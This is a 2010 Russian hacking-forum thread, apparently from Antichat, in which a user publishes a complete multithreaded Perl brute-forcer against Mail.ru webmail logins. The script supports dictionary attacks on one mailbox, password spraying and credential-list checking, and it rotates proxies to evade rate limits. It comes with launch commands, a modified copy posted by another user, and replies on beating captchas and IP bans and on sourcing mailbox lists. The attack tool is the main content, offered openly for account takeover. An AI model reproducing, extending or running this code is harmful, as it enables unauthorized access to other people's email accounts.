PDA

Просмотр полной версии : Mail.ru bruter


Pashkela
19.01.2010, 10:33
MAIL.RU bruter perl-скрипт

1. Брутит через стандартную пост-формочку наибычнейшей авторизации по адресу http://win.mail.ru/cgi-bin/auth

2. Возможность работы как с прокси так и без

3. Автосмена прокси

4. Возможность выставить кол-во попыток авторизации с одного прокси (доходит до последней - возвращается на первую - круговая система)

5. Многопоточный

6. Три режима работы:

примеры bat-файлов для запуска (win, никсы сами разберутся :cool: ):

===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0

Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10

===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0

Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10

===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0

Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10

===================================

#!/usr/bin/perl - UTF-8 encoding
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
################################################## ###
my $login = "mail_login"; # логин - режим [0]
my $domain = "mail.ru"; # домен - режим [0]
my $password = "1234"; # пароль -режим[1]
$delimetr = ";"; # разделитель в списке мыло;пароль - режим [2]
$mode = $ARGV[0]; # режим брута:
#0 - брутим одно мыло по словарю паролей
#1 - брутим один пароль по словарю мыл
#2 - чекаем список мыло;пароль
$kol_threads = $ARGV[1]; # кол-во потоков
$timeout = $ARGV[2]; # таймаут - в секундах
$proxy = $ARGV[3]; # прокси - юзать или нет, 1 - да, 0 - нет
$attempt = $ARGV[4]; # через сколько попыток менять прокси (если дойдет до последней - начнет с первой)
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями - режим [0]
$mail_file = "mails.txt"; # файл с мылами - режим [1]
$mail_pass_file = "mails_pass.txt"; # файл с мылами и паролями - - режим [2]
$good_mail = "zgood.txt"; # удачные проверки, независимо от режима работы
################################################## ####
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
$size = 0;
if ($proxy == 1) {
open(FILE1, "<", $proxy_file);
print " Mode - with proxy\n";
while(<FILE1>) {
chomp;
if ($_) {push(@prox, $_);}
}
$size = @prox;
} else {
print " Mode - no proxy\n";
}
if ($mode == 0) {
open(FILE2, "<", $passwords_file);
while(<FILE2>) {
chomp;
if ($_) {push(@pass, $_);}
}
close(FILE2);
$size1 = @pass;
print "----------------------\n";
print "Mail - " . $login . '@' . $domain . "\n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Passwords - $size1\n";
print "----------------------\n";
}
if ($mode == 1) {
open(FILE2, "<", $mail_file);
while(<FILE2>) {
chomp;
if ($_) {push(@mail, $_);}
}
close(FILE2);
$size1 = @mail;
print "----------------------\n";
print "Password - $password \n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Mails - $size1\n";
print "----------------------\n";
}
if ($mode == 2) {
open(FILE2, "<", $mail_pass_file);
while(<FILE2>) {
chomp;
if ($_) {push(@mail_pass_file, $_);}
}
close(FILE2);
$size1 = @mail_pass_file;
print "----------------------\n";
print "Mails for check - $size1 \n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "----------------------\n";
}
open( FILE, ">>" . $good_mail ); # Файл для записи результатов
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets {
$| = 1;
while ($num < $size1) {
{ lock($num);
$num++; }
$z++;
if ($mode == 0) {
$password = "";
$password = $pass[$num];
}
if ($mode == 1) {
my ( $login, $domen ) = split( /@/, $mail[$num] );
}
if ($mode == 2) {
my ( $mail, $password ) = split( /$delimetr/, $mail_pass_file[$num] );
my ( $login, $domen ) = split( /@/, $mail );
}
if ($proxy == 1) {
if ($z == $attempt) {
$z = 0;
if ($i < ($size-1)) {
$i++;
print "\n";
}
if ($i == ($size-1)) {
$i = 0;
print "\n";
}
}
}
check();
$num++;
print $num . "\r";
sleep 1;
}
}
# Functions ################################################## ################################
sub check {
if ($proxy == 1) {
$current_proxy = $prox[$i];
($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
print $num . " current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
} else {
print $num . "\r";
}
if ($proxy == 1) {
$answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
} else {
$answ1 = req1('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
}
$ck1 = collect($answ1);
$answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
if ($proxy == 1) {
req('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
} else {
req1('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req1('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
}
if ($answ2 =~ m/msglist/img) {
print "\n----------------------\n";
print "[ Found password! Saved in $good_mail ]\n";
print "----------------------\n\n\n\n\n";
print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
if ($mode == 0) {exit}
}
}
sub collect {
my $data = $_[0];
my $cookie = undef;
while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
$cookie .= $1."; ";
}
return $cookie;
}
sub req {
my($host, $path, $type, $data, $cookies) = @_;
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
print $socket $request;
my $answ = undef;
$socket->autoflush(1);
while(my $buf = <$socket>) {
$answ .= $buf;
}
close $socket;
return $answ;
}
}
sub req1 {
my($host, $path, $type, $data, $cookies) = @_;
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 5);
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
if($type eq "POST") {
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
} else {
$request .= "\n";
}
print $sock $request;
my $answ = undef;
while(my $buf = <$sock>) {
$answ .= $buf;
}
return $answ;
}

mailbrush
19.01.2010, 11:03
Pashkela, молодец :) Только сделай брут на login;pass

Pashkela
19.01.2010, 11:53
2 mailbrush:

просто никогда брутом мыл не занимался - как лучше сделать - просто логин;пасс или как вообще списки для брута мыл выглядят - я думал что так:

123@mail.ru;пароль

в смысле откедова домен-то брать?

или и так и так сделать - с ручным указанием домена (тогда просто логин/пароль) и просто по готову списку именно мыльников/паролей? Нужна ли работа без прокси?

Просто в последних темах в "email" парни ищут чото актуальное, решил написать, тем более все уже сделано до нас

PS: Ну и как лучше - меню как в тулзе или через цмд-параметры? Могу соксы прикрутить, был бы спрос, а то так понимаю, такими вещами барыжат ( кстати, а сколько они стоят? :D )

mr.The
19.01.2010, 17:09
оу, гуд, а я уже хотел свой написать, с блекджеком и шлюхами..

.devastatiour
20.01.2010, 00:28
Pashkela на высоте!
мы все будем оч признательны за брут на логин/pass

Pashkela
20.01.2010, 05:19
мы все будем оч признательны за брут на логин/pass

так дайте ответ, какой логин/пасс именно нужен:

1. просто логин;пас (как для брута ну я не знаю, входа в админку сайта) с выбором домена (например mail.ru)
2. или логин@mail.ru;pass - для фактически не брута, а чека имеющегося списка мыл

вы же этим если занимаетесь - распишите четко, что нужно. Т.к. для меня пункт 1 например вообще непонятен, что вы собрались брутить по словарю логин/пасс - случайно попавшиеся мыльники что ли? Брут конкретного мыла по словарю и так есть. В общем подробности в студию

Если туплю я, и актуален только пункт 2 - так и напишите, да, именно как в пункте 2, нужен чекер имеющейся базы мыл

PS: Пока ушел писать чекер - читай, пункт 2, потому что пункт 1 для меня зогадко

imajo.ati
20.01.2010, 09:57
неплохо было бы вынести частоизменяемые настройки в ini файл или в аргументы скрипта. к примеру пути до словарей.


по поводу логин\пасс: конечно же чекер!
и не придётся делать 2 режима подбора пароля, такие списки универсальны.

по 1 мылу:
xx1@xx.xx;password1
xx1@xx.xx;password2

по 1 паролю:
xx2@xx.xx;pass1
xx3@xx.xx;pass1

Pashkela
20.01.2010, 10:58
о, теперь понятно, скоро будет

imajo.ati
20.01.2010, 12:52
я в перле не силён, но посмотрев на скрипт мне кажется что в нем нет проверки на появление капчи. ведь если она появится, то даже верный пасс примется как неверный. неплохо было бы это предусмотреть в скрипте.

Pashkela
20.01.2010, 12:54
дык прокси для этого и есть и кол-во попыток авторизации с одной прокси

imajo.ati
20.01.2010, 13:33
дык прокси для этого и есть и кол-во попыток авторизации с одной прокси

Вася взял скрипт, 5к прокси, выставил кол-во попыток на 10 и начал восстанавливать забытые пароли на мэил.ру. соседи васи (90 человек), украли у васи список проксей и тоже начали восстанавливать забытые пароли на мэил.ру. получилось, что с одного прокси идёт 910 запросов. мэил ру начал выплёвывать капчу и вагон с индусами не смог восстановить ни одного ящика.

Pashkela
20.01.2010, 13:56
ну да, ага, правильно. Но пока не предусмотрено, пока не до этого. Может и будет проверка

konuk2007
22.01.2010, 02:16
Люди долбрые обьясните плиз как ним юзать создаю, passwords.txt- файл с паролями туда пихаю пароли по одному в строчку, потом создаю proxy.txt- файл с проксями туда пихаю прокси, далее results.txt- Файл для записи результатов, а где писать логин мыла или само мыло, количество потоков и.т.д
Обьясните плиз как ним пользоваться, а то очень нужно, буду очень благодарен, заранее спасибо)))

попугай
22.01.2010, 04:06
так на майлру разве выводится каптча при неверных вводах? Никогда не видел.

maximka555
22.01.2010, 12:24
У меня гуды пропускает,верных пасов в password.txt накидал а результатов нет,прокси все рабочие.И еще после использования последний прокси сразу бы на первую неплохо было бы чтоб перепрыгивал

Pashkela
22.01.2010, 12:44
рекомендуемое кол-во потоков - 20
рекомендуемый таймаут - 10 сек (мин)

зависит от качества прокси. Все, что связано с прокси - зависит от их качества. Качество != бесплатные прокси

по поводу "прыгать на первую" прикольно. Прикручу

maximka555
22.01.2010, 13:22
рекомендуемое кол-во потоков - 20
рекомендуемый таймаут - 10 сек (мин)

зависит от качества прокси. Все, что связано с прокси - зависит от их качества. Качество != бесплатные прокси

по поводу "прыгать на первую" прикольно. Прикручу
пробывал уже разные прокси,и все равно правильного пасса не находит,хотя он в самом начале списка.Настройки ставил такие

Pashkela
22.01.2010, 13:56
2 maximka555:

у меня находит, что я делаю не так?:) Скинь сюда свои настройки, или в личку (включая мыло, сделай тестовое)

maximka555
22.01.2010, 14:41
мои настройки

use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
################################################## ###
my $login = "9102266370"; # логин
my $domain = "mail.ru"; # домен
$kol_threads = 20; # кол-во потоков
$timeout = 10; # таймаут
$attempt = 5; # через сколько попыток менять прокси
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями
################################################## ####
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
open(FILE1, "<", $proxy_file);
while(<FILE1>) {
chomp;
if ($_) {push(@prox, $_);}
}
open(FILE2, "<", $passwords_file);
while(<FILE2>) {
chomp;
if ($_) {push(@pass, $_);}
}
close(FILE2);
open( FILE, ">>" . "results.txt" ); # Файл для записи результатов
$size = @prox;
$size1 = @pass;
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
print "----------------------\n";
print "Mail - " . $login . '@' . $domain . "\n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Passwords - $size1\n";
print "----------------------\n";
for(0..$thr) {
$trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets {
$| = 1;
while ($num < $size1) {
{ lock($num);
$num++; }
$z++;
$password = "";
if ($z == $attempt) {
$z = 0;
if ($i < ($size-1)) {
$i++;
print "\n";
}
}
$password = $pass[$num];
$current_proxy = $prox[$i];
($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
print $num . " current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
$answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
$ck1 = collect($answ1);
$answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
req('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
if ($answ2 =~ m/msglist/img) {
print "\n----------------------\n";
print "[ Found password! Saved in result.txt ]\n";
print "----------------------\n\n\n\n\n";
print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
close(FILE);
exit;
}
$num++;
print $num . "\r";
sleep 1;
}
}
sub collect {
my $data = $_[0];
my $cookie = undef;
while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
$cookie .= $1."; ";
}
return $cookie;
}
sub req {
my($host, $path, $type, $data, $cookies) = @_;
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
print $socket $request;
my $answ = undef;
$socket->autoflush(1);
while(my $buf = <$socket>) {
$answ .= $buf;
}
close $socket;
return $answ;
}
}


пароль к мылу в личке

Killera
22.01.2010, 14:49
у меня есть брутер но я не уверен что работает отлично

Pashkela
22.01.2010, 15:00
2 maximka555:

проверил, все работает, проверял на таких проксях:

https://forum.antichat.ru/thread53202.html

PS: мы с тобой неправильно тест проводим, дай ЕЩЕ одно тестовое мыло и СПИСОК паролей, штук десять, среди которых 1 правильный, какой правильный не говори, я его должен буду сам найти, гы

Аська в профиле

maximka555
22.01.2010, 15:23
кинул в личку

Pashkela
22.01.2010, 15:27
я конечно извиняюсь, но прокси такого формата:

qa1s-thub-pub.photoworks.com:80

не поддерживаются, кхм

ПЛЮС будь внимательней, в том списке паролей, что у тебя лежат в passwords.txt в последнем варианте на слил.ру нет правильного пароля

Как так можно проверять - не понимаю.

PS: Проверил еще раз - все прекрасненько работает

maximka555
22.01.2010, 15:43
а почему не работает с обычными проксями?Опять кинул в личку,не как он правельный пас не находит

GoodGod
22.01.2010, 15:48
я юзнаю от здесь был я брут. все четко.

maximka555
22.01.2010, 15:49
Демка в один паток?Всю жизнь им будеш брутить

Pashkela
22.01.2010, 15:52
а почему не работает с обычными проксями?Опять кинул в личку,не как он правельный пас не находит

и опять нашел, прикинь))) А как ты думаешь, почему прокси продаются и их к тому же покупают, если есть столько халявных прокси?)

maximka555
22.01.2010, 15:55
и опять нашел, прикинь))) А как ты думаешь, почему прокси продаются и их к тому же покупают, если есть столько халявных прокси?)
у тебя тоже на холявных не находит?

Pashkela
22.01.2010, 15:58
нет, на твоих - нет. Там идет реальная авторизация, куки и все такое, нужны нормальные прокси, там не простой get-запрос

nuBo
22.01.2010, 16:04
Pashkela спасибо за труды, сможеш cделать наоборот, брут списка мыл, по 1 паролю? :)

Pashkela
22.01.2010, 16:04
в процессе

PS: Чтобы больше не было вопросов по проксям - гоу в асечные темы, процесс подбора проксей одинаковый, если вы хотите халявные прокси

maximka555
22.01.2010, 16:07
нет, на твоих - нет. Там идет реальная авторизация, куки и все такое, нужны нормальные прокси, там не простой get-запрос
а если на деда установить CCProxy и использовать его как прокси?

Pashkela
24.01.2010, 11:10
update:

Три режима работы:

примеры bat-файлов для запуска (win, никсы сами разберутся :cool: ):

===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0

Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10

===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0

Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10

===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0

Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10


Обновления в первом посте темы, полностью бесплатно, разрешены любые модификации и полное несоблюдение авторских прав)

PS: Не забывайте благодарить также Kaimi, на основе его скрипта авторизации на mail.ru:

http://forum.antichat.ru/printthread.php?t=116399

и сделан брутер

mff
26.01.2010, 03:23
Pashkela, спасибо большое. Актуальный скрипт написал.

А как ты думаешь, почему прокси продаются и их к тому же покупают, если есть столько халявных прокси?)+1 :D Они хотят чтоб тупо кнопку нажал, и прокси посыпались "приватные" с "приватными" портами, тыщщами :D

Ушел юзать....

.devastatiour
27.01.2010, 21:15
где взять базу мыл?
и еще расскажите пошагово как запускать.какие компоненты нужны для работы

Mapkyc_
10.02.2010, 18:23
Пробую без проксей, если верный пасс ставить в начало списка, то находит, если дальше 10 то уже пропускает гуды.

Pashkela
10.02.2010, 18:25
больше таймаут, меньше потоков и т.д. От очень много зависит - от твоего интернета, от того, банит ли mail.ru за много попыток с одного IP (думаю разумеется) и т.д.

andreipup
16.02.2010, 02:26
Как же его запустить то?
Инторпретатор перла у меня установлен!
Делаю все нужные файлы запускай скрипт толку 0!

Если можно выложите настройки на брут,
много мыл на один пасс)

maxya
21.02.2010, 20:09
UPD
Разобрался.
Добавил =~ s/\r//; После chomp; Словари и списки проксей создавал под виндой, а запускал скрипт на линуксе, вот и была нестыковочка :)